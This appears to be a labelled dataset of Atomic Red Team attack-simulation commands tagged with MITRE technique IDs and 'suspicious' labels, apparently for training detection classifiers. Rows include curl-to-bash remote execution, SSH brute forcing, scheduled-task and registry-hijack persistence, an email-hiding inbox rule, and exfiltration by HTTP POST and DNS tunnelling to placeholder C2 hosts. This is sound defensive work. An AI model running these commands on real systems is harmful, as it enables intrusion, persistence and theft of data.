36d32e5986655198011b0b66,useradd -G wheel -s /bin/bash -p $(openssl passwd -1 password123) art su art cd /tmp curl -s #{remote_url} |bash,useradd -G wheel -s /bin/bash -p $(openssl passwd -1 password123) art su art cd /tmp curl -s #{remote_url} |bash,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1110.001/T1110.001.yaml,SUDO Brute Force - Redhat,T1110.001,"[""T1110.001""]",linux,0.9,False,"An adversary may find themselves on a box (e.g. via ssh key auth, with no password) with a user that has sudo'ers privileges, but they do not know the users password. Normally, failed attempts to access root will not cause the root account to become locked, to prevent denial-of-service. This functionality enables an attacker to undertake a local brute force password guessing attack without locking out the root user. 

This test creates the ""art"" user with a password of ""password123"", logs in, do",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
77aa983401e89643ea1f0eee,"pw adduser art -g wheel -s /bin/sh echo ""password123"" | pw usermod art -h 0 su art cd /tmp curl -s #{remote_url} |bash","pw adduser art -g wheel -s /bin/sh echo ""password123"" | pw usermod art -h 0 su art cd /tmp curl -s #{remote_url} |bash",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1110.001/T1110.001.yaml,SUDO Brute Force - FreeBSD,T1110.001,"[""T1110.001""]",linux,0.9,False,"An adversary may find themselves on a box (e.g. via ssh key auth, with no password) with a user that has sudo'ers privileges, but they do not know the users password. Normally, failed attempts to access root will not cause the root account to become locked, to prevent denial-of-service. This functionality enables an attacker to undertake a local brute force password guessing attack without locking out the root user. 

This test creates the ""art"" user with a password of ""password123"", logs in, do",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4f86699a5ea7b3dfc4ebc95a,rmuser -y art,rmuser -y art,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1110.001/T1110.001.yaml,SUDO Brute Force - FreeBSD,T1110.001,"[""T1110.001""]",linux,0.55,True,"An adversary may find themselves on a box (e.g. via ssh key auth, with no password) with a user that has sudo'ers privileges, but they do not know the users password. Normally, failed attempts to access root will not cause the root account to become locked, to prevent denial-of-service. This functionality enables an attacker to undertake a local brute force password guessing attack without locking out the root user. 

This test creates the ""art"" user with a password of ""password123"", logs in, do",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f0e01048d8aa079ea258e663,"$lockout_threshold = [int]""#{lockout_threshold}"" for ($var = 1; $var -le $lockout_threshold; $var++) { #{plink_file} -ssh ""#{vm_host}"" -l root -pw f0b443ae-9565-11ee-b9d1-0242ac120002 }","$lockout_threshold = [int]""#{lockout_threshold}"" for ($var = 1; $var -le $lockout_threshold; $var++) { #{plink_file} -ssh ""#{vm_host}"" -l root -pw f0b443ae-9565-11ee-b9d1-0242ac120002 }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1110.001/T1110.001.yaml,ESXi - Brute Force Until Account Lockout,T1110.001,"[""T1110.001""]",windows,0.9,False,"An adversary may attempt to brute force the password of privilleged account for privilege escalation.
In the process, the TA may lock the account, which can be used for detection. [Reference](https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/#:~:text=A%20ransomware%20group%20attacking%20large,internal%20systems%20after%20establishing%20a)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b9085a014559afa72e20f699,"Import-Module ExchangeOnlineManagement $password = ConvertTo-SecureString -String ""#{auth_password}"" -AsPlainText -Force $credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ""#{auth_username}"", $password Connect-ExchangeOnline -Credential $credential -ErrorAction:SilentlyContinue New-InboxRule -Mailbox #{target_mailbox} -Name #{mail_rulename} -SubjectOrBodyContainsWords (""phish"",""malware"",""hacked"") -Confirm:$false -DeleteMessage:$true","Import-Module ExchangeOnlineManagement $password = ConvertTo-SecureString -String ""#{auth_password}"" -AsPlainText -Force $credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ""#{auth_username}"", $password Connect-ExchangeOnline -Credential $credential -ErrorAction:SilentlyContinue New-InboxRule -Mailbox #{target_mailbox} -Name #{mail_rulename} -SubjectOrBodyContainsWords (""phish"",""malware"",""hacked"") -Confirm:$false -DeleteMessage:$true",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.008/T1564.008.yaml,New-Inbox Rule to Hide E-mail in M365,T1564.008,"[""T1564.008""]",office-365,0.9,False,"This test simulates a user adding an inbox rule in M365 to delete emails with specific keywords in email subject or body.
 Reference: https://www.mandiant.com/sites/default/files/2021-09/rpt-fin4.pdf
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fabe536685cd0cde175949ca,"Import-Module ExchangeOnlineManagement $password = ConvertTo-SecureString -String ""#{auth_password}"" -AsPlainText -Force $credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ""#{auth_username}"", $password Connect-ExchangeOnline -Credential $credential Remove-InboxRule -Mailbox #{target_mailbox} -Identity #{mail_rulename} -Confirm:$false","Import-Module ExchangeOnlineManagement $password = ConvertTo-SecureString -String ""#{auth_password}"" -AsPlainText -Force $credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ""#{auth_username}"", $password Connect-ExchangeOnline -Credential $credential Remove-InboxRule -Mailbox #{target_mailbox} -Identity #{mail_rulename} -Confirm:$false",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.008/T1564.008.yaml,New-Inbox Rule to Hide E-mail in M365,T1564.008,"[""T1564.008""]",office-365,0.55,True,"This test simulates a user adding an inbox rule in M365 to delete emails with specific keywords in email subject or body.
 Reference: https://www.mandiant.com/sites/default/files/2021-09/rpt-fin4.pdf
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1f4c9c40bcb4c6812dfbbc7c,"schtasks /create /tn ""T1053_005_OnLogon"" /sc onlogon /tr ""cmd.exe /c calc.exe"" schtasks /create /tn ""T1053_005_OnStartup"" /sc onstart /ru system /tr ""cmd.exe /c calc.exe""","schtasks /create /tn ""T1053_005_OnLogon"" /sc onlogon /tr ""cmd.exe /c calc.exe"" schtasks /create /tn ""T1053_005_OnStartup"" /sc onstart /ru system /tr ""cmd.exe /c calc.exe""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.005/T1053.005.yaml,Scheduled Task Startup Script,T1053.005,"[""T1053.005""]",windows,0.9,False,"Run an exe on user logon or system startup.  Upon execution, success messages will be displayed for the two scheduled tasks. To view
the tasks, open the Task Scheduler and look in the Active Tasks pane.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
240a6fde488dc84210066ccb,"schtasks /delete /tn ""T1053_005_OnLogon"" /f >nul 2>&1 schtasks /delete /tn ""T1053_005_OnStartup"" /f >nul 2>&1","schtasks /delete /tn ""T1053_005_OnLogon"" /f >nul 2>&1 schtasks /delete /tn ""T1053_005_OnStartup"" /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.005/T1053.005.yaml,Scheduled Task Startup Script,T1053.005,"[""T1053.005""]",windows,0.55,True,"Run an exe on user logon or system startup.  Upon execution, success messages will be displayed for the two scheduled tasks. To view
the tasks, open the Task Scheduler and look in the Active Tasks pane.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8b2f3e9207e73ced942aa2d6,SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time},SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.005/T1053.005.yaml,Scheduled task Local,T1053.005,"[""T1053.005""]",windows,0.9,False,"Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
73813112477d4af3e4ba2ba9,SCHTASKS /Delete /TN spawn /F >nul 2>&1,SCHTASKS /Delete /TN spawn /F >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.005/T1053.005.yaml,Scheduled task Local,T1053.005,"[""T1053.005""]",windows,0.55,True,"Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0432715dc2052a7faba59c32,"SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN ""Atomic task"" /TR ""#{task_command}"" /SC daily /ST #{time}","SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN ""Atomic task"" /TR ""#{task_command}"" /SC daily /ST #{time}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.005/T1053.005.yaml,Scheduled task Remote,T1053.005,"[""T1053.005""]",windows,0.9,False,"Create a task on a remote system.
Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fede0f999db1977b9562f390,"SCHTASKS /Delete /S #{target} /U #{user_name} /P #{password} /TN ""Atomic task"" /F >nul 2>&1","SCHTASKS /Delete /S #{target} /U #{user_name} /P #{password} /TN ""Atomic task"" /F >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.005/T1053.005.yaml,Scheduled task Remote,T1053.005,"[""T1053.005""]",windows,0.55,True,"Create a task on a remote system.
Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a0373fd5439eccdb100b470d,"$Action = New-ScheduledTaskAction -Execute ""calc.exe"" $Trigger = New-ScheduledTaskTrigger -AtLogon $User = New-ScheduledTaskPrincipal -GroupId ""BUILTIN\Administrators"" -RunLevel Highest $Set = New-ScheduledTaskSettingsSet $object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set Register-ScheduledTask AtomicTask -InputObject $object","$Action = New-ScheduledTaskAction -Execute ""calc.exe"" $Trigger = New-ScheduledTaskTrigger -AtLogon $User = New-ScheduledTaskPrincipal -GroupId ""BUILTIN\Administrators"" -RunLevel Highest $Set = New-ScheduledTaskSettingsSet $object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set Register-ScheduledTask AtomicTask -InputObject $object",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.005/T1053.005.yaml,Powershell Cmdlet Scheduled Task,T1053.005,"[""T1053.005""]",windows,0.9,False,"Create an atomic scheduled task that leverages native powershell cmdlets.

Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d53a5f58ff72cde58ffa2573,"Unregister-ScheduledTask -TaskName ""AtomicTask"" -confirm:$false >$null 2>&1","Unregister-ScheduledTask -TaskName ""AtomicTask"" -confirm:$false >$null 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.005/T1053.005.yaml,Powershell Cmdlet Scheduled Task,T1053.005,"[""T1053.005""]",windows,0.55,True,"Create an atomic scheduled task that leverages native powershell cmdlets.

Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c27732f521277e42d6f34285,"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) Invoke-MalDoc -macroFile ""PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt"" -officeProduct ""#{ms_product}"" -sub ""Scheduler""","[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) Invoke-MalDoc -macroFile ""PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt"" -officeProduct ""#{ms_product}"" -sub ""Scheduler""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.005/T1053.005.yaml,Task Scheduler via VBA,T1053.005,"[""T1053.005""]",windows,0.9,False,"This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute ""notepad.exe"" within
30 - 40 seconds after this module has run
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
741c949fbfeeed8eb7dbaf0e,"Unregister-ScheduledTask -TaskName ""Run Notepad"" -Confirm:$false","Unregister-ScheduledTask -TaskName ""Run Notepad"" -Confirm:$false",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.005/T1053.005.yaml,Task Scheduler via VBA,T1053.005,"[""T1053.005""]",windows,0.55,True,"This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute ""notepad.exe"" within
30 - 40 seconds after this module has run
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9d8d74f73d538ee4ebd8f568,"$xml = [System.IO.File]::ReadAllText(""#{xml_path}"") Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace ""Root\Microsoft\Windows\TaskScheduler"" -MethodName ""RegisterByXml"" -Arguments @{ Force = $true; Xml =$xml; }","$xml = [System.IO.File]::ReadAllText(""#{xml_path}"") Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace ""Root\Microsoft\Windows\TaskScheduler"" -MethodName ""RegisterByXml"" -Arguments @{ Force = $true; Xml =$xml; }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.005/T1053.005.yaml,WMI Invoke-CimMethod Scheduled Task,T1053.005,"[""T1053.005""]",windows,0.9,False,"Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
220ce33d9a40c0d942dfc3d7,"Unregister-ScheduledTask -TaskName ""T1053_005_WMI"" -confirm:$false >$null 2>&1","Unregister-ScheduledTask -TaskName ""T1053_005_WMI"" -confirm:$false >$null 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.005/T1053.005.yaml,WMI Invoke-CimMethod Scheduled Task,T1053.005,"[""T1053.005""]",windows,0.55,True,"Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
32650eb9077690dd8b3137d6,"reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f schtasks.exe /Create /F /TN ""ATOMIC-T1053.005"" /TR ""cmd /c start /min \""\"" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))"" /sc daily /st #{time}","reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f schtasks.exe /Create /F /TN ""ATOMIC-T1053.005"" /TR ""cmd /c start /min \""\"" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))"" /sc daily /st #{time}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.005/T1053.005.yaml,Scheduled Task Executing Base64 Encoded Commands From Registry,T1053.005,"[""T1053.005""]",windows,0.9,False,"A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created.
The scheduled task will launch powershell to decode and run the command in the registry daily.
This is a persistence mechanism recently seen in use by Qakbot.  

[Additiona Information](https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b14723cb972f65c577a70f7c,"schtasks /delete /tn ""ATOMIC-T1053.005"" /F >nul 2>&1 reg delete HKCU\SOFTWARE\ATOMIC-T1053.005 /F >nul 2>&1","schtasks /delete /tn ""ATOMIC-T1053.005"" /F >nul 2>&1 reg delete HKCU\SOFTWARE\ATOMIC-T1053.005 /F >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.005/T1053.005.yaml,Scheduled Task Executing Base64 Encoded Commands From Registry,T1053.005,"[""T1053.005""]",windows,0.55,True,"A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created.
The scheduled task will launch powershell to decode and run the command in the registry daily.
This is a persistence mechanism recently seen in use by Qakbot.  

[Additiona Information](https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4b505c82512040c7db427f11,"Unregister-ScheduledTask -TaskName ""atomic red team"" -confirm:$false >$null 2>&1","Unregister-ScheduledTask -TaskName ""atomic red team"" -confirm:$false >$null 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.005/T1053.005.yaml,Import XML Schedule Task with Hidden Attribute,T1053.005,"[""T1053.005""]",windows,0.55,True,"Create an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. 
This technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
67d3ca6075de8804bd197748,"$Action = New-ScheduledTaskAction -Execute ""cmd.exe"" $Trigger = New-ScheduledTaskTrigger -AtLogon $User = New-ScheduledTaskPrincipal -GroupId ""BUILTIN\Administrators"" -RunLevel Highest $Set = New-ScheduledTaskSettingsSet $object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set Register-ScheduledTask AtomicTaskModifed -InputObject $object $NewAction = New-ScheduledTaskAction -Execute ""Notepad.exe"" Set-ScheduledTask ""AtomicTaskModifed"" -Action $NewAction","$Action = New-ScheduledTaskAction -Execute ""cmd.exe"" $Trigger = New-ScheduledTaskTrigger -AtLogon $User = New-ScheduledTaskPrincipal -GroupId ""BUILTIN\Administrators"" -RunLevel Highest $Set = New-ScheduledTaskSettingsSet $object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set Register-ScheduledTask AtomicTaskModifed -InputObject $object $NewAction = New-ScheduledTaskAction -Execute ""Notepad.exe"" Set-ScheduledTask ""AtomicTaskModifed"" -Action $NewAction",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.005/T1053.005.yaml,PowerShell Modify A Scheduled Task,T1053.005,"[""T1053.005""]",windows,0.9,False,"Create a scheduled task with an action and modify the action to do something else. The initial idea is to showcase Microsoft Windows TaskScheduler Operational log modification of an action on a Task already registered. 
It will first be created to spawn cmd.exe, but modified to run notepad.exe.

Upon successful execution, powershell.exe will create a scheduled task and modify the action. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0c30bf861a648e749c03d18c,"Unregister-ScheduledTask -TaskName ""AtomicTaskModifed"" -confirm:$false >$null 2>&1","Unregister-ScheduledTask -TaskName ""AtomicTaskModifed"" -confirm:$false >$null 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.005/T1053.005.yaml,PowerShell Modify A Scheduled Task,T1053.005,"[""T1053.005""]",windows,0.55,True,"Create a scheduled task with an action and modify the action to do something else. The initial idea is to showcase Microsoft Windows TaskScheduler Operational log modification of an action on a Task already registered. 
It will first be created to spawn cmd.exe, but modified to run notepad.exe.

Upon successful execution, powershell.exe will create a scheduled task and modify the action. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e2d94a3e6e23b5900167a969,"""PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe"" \\#{target} -accepteula -s ""cmd.exe"" ""PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe"" \\#{target} add #{task_name} ""cmd.exe"" ""/c #{task_command}"" #{user_name} logon","""PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe"" \\#{target} -accepteula -s ""cmd.exe"" ""PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe"" \\#{target} add #{task_name} ""cmd.exe"" ""/c #{task_command}"" #{user_name} logon",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.005/T1053.005.yaml,"Scheduled Task (""Ghost Task"") via Registry Key Manipulation",T1053.005,"[""T1053.005""]",windows,0.9,False,"Create a scheduled task through manipulation of registry keys. This procedure is implemented using the [GhostTask](https://github.com/netero1010/GhostTask) utility. By manipulating registry keys under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree, the tool creates user-specified scheduled tasks without a corresponding Windows Event 4698, which is logged when scheduled tasks are created through conventional means.
This requires a download of the GhostTask binary, which",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
072dc365ebe78e3b6e6a81ff,"""PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe"" \\#{target} -accepteula -s ""cmd.exe"" ""PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe"" \\#{target} delete #{task_name} > nul","""PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe"" \\#{target} -accepteula -s ""cmd.exe"" ""PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe"" \\#{target} delete #{task_name} > nul",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.005/T1053.005.yaml,"Scheduled Task (""Ghost Task"") via Registry Key Manipulation",T1053.005,"[""T1053.005""]",windows,0.55,True,"Create a scheduled task through manipulation of registry keys. This procedure is implemented using the [GhostTask](https://github.com/netero1010/GhostTask) utility. By manipulating registry keys under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree, the tool creates user-specified scheduled tasks without a corresponding Windows Event 4698, which is logged when scheduled tasks are created through conventional means.
This requires a download of the GhostTask binary, which",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
379c470e9bc9c50d221db97a,"reg add ""HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command"" /ve /t REG_EXPAND_SZ /d ""c:\windows\System32\#{payload}"" /f schtasks /Create /TN ""#{task_name}"" /TR ""compmgmt.msc"" /SC ONLOGON /RL HIGHEST /F ECHO Let's open the Computer Management console now... compmgmt.msc","reg add ""HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command"" /ve /t REG_EXPAND_SZ /d ""c:\windows\System32\#{payload}"" /f schtasks /Create /TN ""#{task_name}"" /TR ""compmgmt.msc"" /SC ONLOGON /RL HIGHEST /F ECHO Let's open the Computer Management console now... compmgmt.msc",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.005/T1053.005.yaml,Scheduled Task Persistence via CompMgmt.msc,T1053.005,"[""T1053.005""]",windows,0.9,False,"Adds persistence by abusing `compmgmt.msc` via a scheduled task.
When the Computer Management console is opened, it will run a malicious payload (in this case, `calc.exe`). 
This technique abuses scheduled tasks and registry modifications to hijack legitimate system processes.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e61039f0e3e1e57b26a131eb,"reg delete ""HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command"" /f schtasks /Delete /TN ""#{task_name}"" /F","reg delete ""HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command"" /f schtasks /Delete /TN ""#{task_name}"" /F",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.005/T1053.005.yaml,Scheduled Task Persistence via CompMgmt.msc,T1053.005,"[""T1053.005""]",windows,0.55,True,"Adds persistence by abusing `compmgmt.msc` via a scheduled task.
When the Computer Management console is opened, it will run a malicious payload (in this case, `calc.exe`). 
This technique abuses scheduled tasks and registry modifications to hijack legitimate system processes.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e4e6051813613f713eff3f51,"reg add ""HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command"" /ve /t REG_EXPAND_SZ /d ""c:\windows\System32\#{payload}"" /f schtasks /Create /TN ""#{task_name}"" /TR ""eventvwr.msc"" /SC ONLOGON /RL HIGHEST /F ECHO Let's run the schedule task ... schtasks /Run /TN ""EventViewerBypass""","reg add ""HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command"" /ve /t REG_EXPAND_SZ /d ""c:\windows\System32\#{payload}"" /f schtasks /Create /TN ""#{task_name}"" /TR ""eventvwr.msc"" /SC ONLOGON /RL HIGHEST /F ECHO Let's run the schedule task ... schtasks /Run /TN ""EventViewerBypass""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.005/T1053.005.yaml,Scheduled Task Persistence via Eventviewer.msc,T1053.005,"[""T1053.005""]",windows,0.9,False,"Adds persistence by abusing `eventviewer.msc` via a scheduled task.
When the eventviewer console is opened, it will run a malicious payload (in this case, `calc.exe`). 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5f2f00fcdbd9ec3773e5e32d,"if(-not (Test-Path #{filepath})){ 1..100 | ForEach-Object { Add-Content -Path #{filepath} -Value ""This is line $_."" } } [System.Net.ServicePointManager]::Expect100Continue = $false $filecontent = Get-Content -Path #{filepath} Invoke-WebRequest -Uri #{destination_url} -Method POST -Body $filecontent -DisableKeepAlive","if(-not (Test-Path #{filepath})){ 1..100 | ForEach-Object { Add-Content -Path #{filepath} -Value ""This is line $_."" } } [System.Net.ServicePointManager]::Expect100Continue = $false $filecontent = Get-Content -Path #{filepath} Invoke-WebRequest -Uri #{destination_url} -Method POST -Body $filecontent -DisableKeepAlive",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1041/T1041.yaml,C2 Data Exfiltration,T1041,"[""T1041""]",windows,0.9,False,"Exfiltrates a file present on the victim machine to the C2 server.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1d11ce713425b5f34b739e1d,"$dnsServer = ""#{dns_server}"" $exfiltratedData = ""#{exfiltrated_data}"" $chunkSize = #{chunk_size} $encodedData = [System.Text.Encoding]::UTF8.GetBytes($exfiltratedData) $encodedData = [Convert]::ToBase64String($encodedData) $chunks = $encodedData -split ""(.{$chunkSize})"" foreach ($chunk in $chunks) { $dnsQuery = $chunk + ""."" + $dnsServer Resolve-DnsName -Name $dnsQuery Start-Sleep -Seconds 5 }","$dnsServer = ""#{dns_server}"" $exfiltratedData = ""#{exfiltrated_data}"" $chunkSize = #{chunk_size} $encodedData = [System.Text.Encoding]::UTF8.GetBytes($exfiltratedData) $encodedData = [Convert]::ToBase64String($encodedData) $chunks = $encodedData -split ""(.{$chunkSize})"" foreach ($chunk in $chunks) { $dnsQuery = $chunk + ""."" + $dnsServer Resolve-DnsName -Name $dnsQuery Start-Sleep -Seconds 5 }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1041/T1041.yaml,Text Based Data Exfiltration using DNS subdomains,T1041,"[""T1041""]",windows,0.9,False,"Simulates an adversary using DNS tunneling to exfiltrate data over a Command and Control (C2) channel.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7ca9e52ca4b9efd033c3099b,"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:""$env:localappdata\Microsoft\WindowsApps\Get-Variable.exe"" ""PathToAtomicsFolder\T1574.008\bin\calc.cs"" Powershell -noprofile","C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:""$env:localappdata\Microsoft\WindowsApps\Get-Variable.exe"" ""PathToAtomicsFolder\T1574.008\bin\calc.cs"" Powershell -noprofile",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1574.008/T1574.008.yaml,powerShell Persistence via hijacking default modules - Get-Variable.exe,T1574.008,"[""T1574.008""]",windows,0.9,False,"Colibri leverages PowerShell in a unique way to maintain persistence after a reboot. Depending on the Windows version, Colibri drops its copy in %APPDATA%\Local\Microsoft\WindowsApps and 
names it Get-Variable.exe for Windows 10 and above.
https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
